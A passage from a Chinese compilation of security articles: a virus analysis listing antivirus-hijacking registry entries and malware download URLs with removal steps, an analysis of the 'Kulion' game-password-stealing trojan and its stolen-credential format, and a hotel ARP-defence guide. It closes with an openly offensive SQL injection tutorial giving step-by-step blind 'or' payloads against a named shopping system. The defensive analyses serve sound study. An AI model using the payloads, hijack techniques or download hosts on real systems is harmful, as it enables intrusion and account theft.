旧: DWORD: 2 (0x2)

9、禁用监视系统安全设置和配置服务:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start

新: DWORD: 4 (0x4)

旧: DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc\Start

新: DWORD: 4 (0x4)

旧: DWORD: 2 (0x2)

10、禁用下载和安装Windows更新服务:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start

新: DWORD: 4 (0x4)

旧: DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv\Start

新: DWORD: 4 (0x4)

旧: DWORD: 2 (0x2)

11、在注册表的映像劫持项中添加多个劫持项:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360rpt.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safe.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\adam.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AgentSvr.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AppSvc32.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ArSwp.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AST.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoruns.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconsol.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgrssvc.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AvMonitor.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.com\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCenter.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccSvcHst.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EGHOST.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FileDsty.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FTCleanerShell.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FYFireWall.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HijackThis.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IceSword.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iparmo.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Iparmor.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\isPwdSvc.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kabaload.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KaScrScn.SCR\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KASMain.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KASTask.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAV32.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAVDX.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAVPF.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAVPFW.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAVSetup.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KAVStart.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KISLnchr.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KMailMon.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KMFilter.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KPFW32.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KPFW32X.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KPfwSvc.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KRegEx.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KRepair.com\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KsLoader.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVCenter.kxp\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KvDetect.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KvfwMcl.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVMonXP.kxp\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVMonXP_1.kxp\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvol.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvolself.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KvReport.kxp\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVScan.kxp\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVSrvXP.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVStub.kxp\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvupload.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvwsc.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KvXP.kxp\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KvXP_1.kxp\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KWatch.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KWatch9x.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KWatchX.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loaddll.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MagicSet.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcconsol.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmqczj.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmsk.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Navapsvc.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Navapw32.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32krn.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32kui.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NPFMntor.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PFW.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PFWLiveUpdate.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSET.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQDoctor.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQKav.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ras.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rav.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMon.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMonD.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavStub.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavTask.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegClean.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rfwcfg.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rfwmain.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rfwsrv.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RsAgent.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rsaupd.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstrui.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runiep.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\safelive.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scan32.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shcfg32.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SmartUp.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SREng.EXE\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\symlcsvc.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SysSafe.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrojanDetector.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Trojanwall.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrojDie.kxp\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UIHost.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UmxAgent.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UmxAttachment.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UmxCfg.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UmxFwHlp.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UmxPol.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\upiea.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UpLive.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBCleaner.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsstat.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webscanx.exe\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WoptiClean.exe\

12、主动连接网络,下载相关病毒文件信息:

http://qq.520sf.org/81/11.exe

http://qq.520sf.org/81/12.exe

http://qq.520sf.org/81/13.exe

http://qq.520sf.org/81/14.exe

http://qq.520sf.org/81/15.exe

http://qq.520sf.org/81/16.exe

http://qq.520sf.org/81/17.exe

http://qq.520sf.org/81/18.exe

http://qq.520sf.org/81/19.exe

http://qq.520sf.org/81/20.exe

http://qq.520sf.org/yj/yj0609.txt

http://www.5460w.cn/xzz/0603.exe

http://www.5460w.cn/71/11.exe

http://www.5460w.cn/71/12.exe

http://www.5460w.cn/71/13.exe

http://www.5460w.cn/71/14.exe

http://www.5460w.cn/71/15.exe

http://123.5460w.cn/71/16.exe

http://123.5460w.cn/71/17.exe

http://123.5460w.cn/71/18.exe

http://123.5460w.cn/71/19.exe

13、该病毒在各个驱动器下创建autorun.inf前,首先判断驱动器的根目录下是否存在autorun.inf文件或文件夹,如果存在则先尝试删除,如果删除未成功则对其更改文件名或文件夹名,名子为随机7位字母组合,然后创建autorun.inf文件和对应可执行病毒文件。

所以通常的建立autorun.inf文件来进行磁盘免疫方法在该病毒下已不起作用。

 

注:%System%是一个可变路径。病毒通过查询操作系统来决定当前System文件夹的位置。Windows2000/NT中默认的安装路径是C:\Winnt\System32,windows95/98/me中默认的安装路径是C:\Windows\System,windowsXP中默认的安装路径是C:\Windows\System32。

四、 清除方案:

1、使用安天木马防线可彻底清除此病毒(推荐)。

2、手工清除请按照行为分析删除对应文件,恢复相关系统设置。

(1) 使用安天木马防线“进程管理”关闭病毒进程

(2) 删除病毒文件

%Program Files%\Common Files\Microsoft Shared\cilpnoi.exe

%Program Files%\Common Files\System\duvadvm.exe

%Program Files%\meex.exe

%Program Files%\ssebyly.inf

[DRIVE LETTER]:\ autorun.inf

[DRIVE LETTER]:\ sxulolg.exe

%system%\verclsids.exe

网络下载的文件,这里不再全部列出

(3)删除病毒添加的注册表自启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

键值: 字串: "ssebyly" = "%Program Files%\Common Files\System\duvadvm.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

键值:字串:"sxulolg"="%Program Files%\Common Files\Microsoft Shared\cilpnoi.exe"

(4) 在注册表的映像劫持项中删除添加的劫持项,具体位置为:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

(5) 恢复注册表安全模式的相关信息

(6) 显示隐藏文件:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue

DWORD: 1 (0x1)

(7) 开启病毒关闭服务项:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\helpsvc\Start

DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\helpsvc\Start

DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Start

DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Start

DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start

DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc\Start

DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start

旧: DWORD: 2 (0x2)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv\Start

旧: DWORD: 2 (0x2)

(8)将病毒建立的副本verclsids.exe改名为verclsid.exe

技术角度看“酷狮子”系列盗号木马原理

技术角度看“酷狮子”系列盗号木马原理

图文版链接

来源:赛迪网 作者:Tony

“酷狮子”系列木马的各个变种行为基本一直,有一个EXE文件,并且能释放DLL文件。

“酷狮子”木马样本加载过程:

“酷狮子”木马先把自己复制到Windows目录,并释放DLL到Windows目录下。接下来检查当前运行的目录是Windows,网游还是其他。当前目录是网游的情况,会先运行网游客户端,然后运行刚才复制到Window目录下的程序。当前目录是Windows的情况会加载DLL部分,然后处于等待状态。DLL成功盗号后,盗号EXE结束执行。

如果当前目录不在上述情况中,盗号木马将会查找目标网游的目录,并执行下面操作:

WOW:WOW.EXE改名为 W0W.EXE,将W0W.EXE设置为隐藏属性和系统文件属性;盗号木马改名为WOW.EXE。

热血江湖:auncher.exe改名为launchar.exe,将launchar.exe设置为隐藏属性和系统文件属性;盗号木马改名为auncher.exe。

完美世界、武林外传和诛仙用的相同客户端:elementclient.exe改名为elemontclient.exe,将elemontclient.exe设置为隐藏属性和系统文件属性;盗号木马改名为elementclient.exe。

注:没有任何文件保护功能,假如网游需要更新客户端程序,该盗号木马将被清除。

盗号部分:

在固定偏移读取游戏关键内存数据,通过破解内存中的信息取得用户信息。由于是固定偏移,游戏程序的版本改动都可能导致盗号失败。

正如前述,该系列木马是为个人“定做”的,用于接收盗号信息的网址都是不同的,但是参数是相同的。具体格式如下:

User= 用户名&pass = 密码& ser = 服务器名_网络连接 &cangku =仓库密码

&beizhu = 备注&rw = 等级 &pcname = 计算机名

在诛仙盗号中发现的“cctvtvtvtvtD”(CCTV的粉丝?)

在完美世界盗号中发现的“真情告白”:

“ZHUZHUHENKEAI”

“ZHUZHUSHITOUZHU”

“WOLAOPOSHIDABENZHUHAHA”

在另外一个完美世界盗号中发现:

“QUANTIKEHUHAHAHAHAHAFDSFDSFSDF”(“全体客户”是指用户?)

木马新花招 让杀毒软件遭遇另类“误杀”

来源:赛迪网 作者:Tony

9月3日,金山毒霸客户服务中心接到用户黄先生的电话,称其电脑内的网络游戏被某杀毒软件当作病毒删除,导致无法正常启动。金山毒霸反病毒工程师根据黄先生的描述以及对其杀毒日志进行分析,发现黄先生遇到的问题并非杀毒软件“误杀”,而是一个名为“酷狮子”的系列盗号木马所为。

金山毒霸反病毒工程师戴光剑表示,不同于传统的盗号木马,“酷狮子”系列盗号木马采取替换网游客户端程序的手段,仅在用户启动游戏时激活。此外,盗号木马与网游客户端一模一样的图标也让杀毒软件处理该木马面临尴尬的局面。(如图1)



图 (1)

戴光剑解释说,如果杀毒软件将大量程序文件报为病毒,用户或者会注意到这是一个感染型的病毒;但是如果杀毒软件仅仅把网络游戏图标的程序报为病毒,文件路径还跟网游客户端程序一模一样,那么用户很可能认为这是误报,即使用户允许杀毒软件把这些文件清除,在无法运行网游的情况下,也很可能会认为是误杀。

金山毒霸反病毒监测中心最初收集到“酷狮子”系列木马时发现,文件名都含有“kulion”字符,出于对病毒敏感,金山毒霸反病毒工程师以此为关键字,在网络上进行了搜索,结果进一步揭开了“酷狮子”系列木马的神秘面纱,http://www.kulion.com/网站浮出水面。从该网站的信息来看,几乎可以肯定是该系列木马作者的网站,在网站中最显眼位置写有“专业定做,品质保证”的字样,而且还公然留下了QQ号码,嚣张程度可见一般。(如图2)



图 (2)

据了解,目前金山收集到的“酷狮子”系列木马变种达到10个之多,根据其盗号的游戏不同,可以分为5类,分别针对魔兽世界、热血江湖、完美世界、武林外传和诛仙。金山表示会将该网站提交相关部门进行处理。

根据该系列木马的传播特点,金山毒霸反病毒监测中心及时进行了病毒库升级,金山毒霸用户只要升级到最新版本即可查杀。此外,由于“酷狮子”系列木马没有自保护功能,非毒霸用户只要找到文件便可以直接删除。以魔兽世界为例,下图是魔兽世界的客户端程序,一个已经被盗号木马替换,另外一个则是正常的。

如图(3),除了文件名和图标之外,正常的游戏客户端跟盗号木马还是很大区别的。例如文件大小方面,正常的是6.77M而木马则是26.2K,明显不是同一个数量级的。此外,正常的游戏客户端还有比较详细的描述,例如公司和文件版本,这些都是盗号木马所没有的。



图 (3)

通过文件夹选项作如图(4)的设置,便可以显示网游安装目录下的所有文件,找到被木马隐藏的正常客户端,改为原来的名字后便可以正常使用网游。值得一提的是,正常的游戏客户端程序的升级都有可能导致该盗号木马被清除,如果你发现网游目录下有两个正常的客户端程序,也请尽快修改你的游戏帐号密码,以防被盗。



图 (4)

安全防护实例:ARP病毒防制方法之酒店行业

来源:赛迪网 作者:张建清

图文原文请看

酒店行业属于特殊的行业,主要是客人入住为主。服务自然是首当冲的大事,客户满意也是商家赚钱的基本。酒店上网,在近几年中小型经济酒店热的带动下,走向广大外出旅游、出差的人们,方便的上网环境是衡量用户的一个重要标准。

而酒店网络管理,却属于相对薄弱的一个环节,安全问题显得尤为重要,特别是ARP病毒的攻击,让酒店网管的网络管理工作更增添了一份辛苦。Qno侠诺工程师在实际工作中,总结出一套专门针对酒店行业用户的解决办法,下面我们就向读者介绍Qno侠诺在酒店行业ARP病毒防制的方法。

由于ARP病毒变种太多,传播速度太快,国内外的反病毒厂商都没有很好的办法来解决ARP病毒问题。一般都是在内网主机和路由器之间建立双向的ARP绑定来解决这个问题,这也是目前看来最行之有效的解决方案。但酒店不同于网吧,随着住宿客人的不断更换,酒店客房里的主机也是不断变化的,这就意味着遭遇ARP病毒风暴时,不可能通过IP与MAC地址绑定的传统方法解决此问题。同时,也很难让住店的客人操作对路由器的ARP绑定,从而导致酒店会经常接到客户对上网速度慢或上不去网的一些投诉。由于不能够耽误酒店的正常使用,所以整个网络也不能有太大改动。鉴于酒店的特殊性,针对Qno侠诺路由器酒店用户,提出以下解决方案:

1、激活防止ARP病毒攻击功能,防止病毒的侵入;

2、利用Qno侠诺路由器多子网功能,加划VLAN的方法,减少攻击损害的影响;

3、办公区做MAC绑定,设置访问规则,更完整保护办公区计算机。

首先,酒店客房通常是客人自备电脑入网,大多数酒店采用DHCP技术给上网用户动态分配IP地址。在防火墙里面开启防止ARP病毒攻击,这样可以防止病毒的侵入。

激活防止ARP病毒攻击功能。输入路由器IP地址登陆路由器的Web管理页面,进入“防火墙配置”的“基本页面”,再在右边找到“防止ARP病毒攻击”,在进行“激活”。系统默认“防ARP攻击每秒发送20笔”,建议设置为“2—5”笔,以防止发送广播包过多而造成网络堵塞。如图1。



图1: 激活防止ARP病毒攻击

其次,利用Qno侠诺路由器多子网功能,加划VLAN的方法,对客房区和办公区进行防ARP设置。结构图如图2所示。



图2: 划分VLAN结构图

把路由器设定两个网段,本身的网段给客房区客人用,再利用多子网功能,为办公区设另一个网段内部办公用。在路由器下面接出来两个交换机,分别利用路由器的虚拟局域网功能划出两个VLAN,划分VLAN可根据LAN口的数量而定,客房区应该尽可能多的划分,以减少客房相互间的影响。如图3所示。



图3: 端口设置

此功能可以让网管人员在自己的局域网内将每一个局域网端口设定1个或多个不同网段且无法互通的局域网端口,但都可以通过路由器上网。在同一个网段内的成员(在同一个VLAN局域网络内)可互相沟通并看得到对方,若不在同一个VLAN群组内的成员则无法得知其它成员的存在。

然后在防火墙设置里,添加一条新访问规则禁止客房区本身的网段访问办公区子网段。这样做是为了防止ARP,使网络更加安全。如图4所示。如也需要限制办公区子网段不能访问客房区网段,则需激活前面一条规则。



图4:设置访问规则

Qno侠诺路由器在MAC绑定功能页面下方有两个选项,一个是“封锁在对应列表中IP地址错误的MAC地址”,另一个是“封锁不在对应列表中的MAC地址”。 如图5。



图5: IP及MAC 地址绑定

大家知道要彻底的防止ARP病毒,需要做双向绑定,但是客房是不能做绑定的,因为客人天天变,所以,不勾选“封锁不在对应列表中的MAC地址”。但办公区的网段是固定的,我们可以绑定在路由器上,并勾上“封锁在对应列表中IP地址错误的MAC地址”, 那么设定为固定IP的计算机或通过此功能已发给特定IP的计算机擅自更改IP为非指定的IP地址时,则会无法上网。这样,一则可以防止其它人乱改IP跟内部冲突,二则ARP病毒不会对办公区产生影响。

如果内网发现ARP攻击,排除方法可参考Qno侠诺关于排除防制ARP攻击的技术文章“ARP攻击防制进阶篇---侠诺科技ARP防制经验谈”。

以上方法基本可以解决ARP病毒攻击对网络造成相关问题,这样客人的又可以从DHCP分IP,又不影响到酒店内部办公。避免了因办公网络瘫痪,而造成大部分房客check ou时,手拎大包小包无限时在等的情况。ARP欺骗病毒在相当长的时间内还会继续存在,侠诺科技将不断的为用户提供各种解决方案,帮助用户打造一个安全稳定、高效的接入环境。

【相关资料】

什么是ARP?

ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的低层协议,负责将某个IP地址解析成对应的MAC地址。

什么是ARP欺骗?

从影响网络连接通畅的方式来看,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。

第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。

新or注入教程

记得一年前火狐有一位朋友问,如果一个站过滤了and和"'"的话,改怎么注入啊?当时我随口说了句"or注入",后来又一次看贴的时候,看到他问我该怎么利用呢?我就写了几个简单的语句给他,叫他自己变换,他很感激我,还说网上没有这种方法。我到网上查了查,还真没有or注入专题呢(or 1=1除外),呵呵,所以,一年后的今天,就有了这篇文章。

我们用雷霆购物系统做or注入演示。我们先用or 1=1和or 1=2来测试是否存在注入点,我们先来看正常页面的面貌。我们现在用or 1=1测试是否存在注入漏洞。返回的是另外一个页面,我们再来测试or 1=2。返回的是正常的页面,说明猜测正确的时候是错误,猜测错误的时候是正常,这就是真正的"假是真时真是假",比lake2大哥哥的IP欺骗更经典哦,呵呵。

我们来构造测试语句:

vpro.asp?id=1 or exists(select * from admin)

返回错误页面,说明存在admin表我们来换一个表试试!

vpro.asp?id=1 or exists(select * from n0h4ck)

说明不存在n0h4ck这个表。

我们继续来,构造语句

vpro.asp?id=1 or exists(select admin from admin)

返回or 1=1的页面,说明admin表存在admin字段。

vpro.asp?id=1 or exists(select padd from admin)

返回or 1=2的页面,说明admin表不存在padd字段。

我们现在开始猜测数据了,

vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'

返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是"n"。

我们再来

vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'

返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是"a",我们第一个会想到什么呢?当然是"admin"啦。

我们用left函数确定一下,

vpro.asp?id=1 or (select left(admin,5) from admin)='admin'

猜测正确,的确是admin,好了,后面的话就不用我说了吧!

破解Session cookie的方法

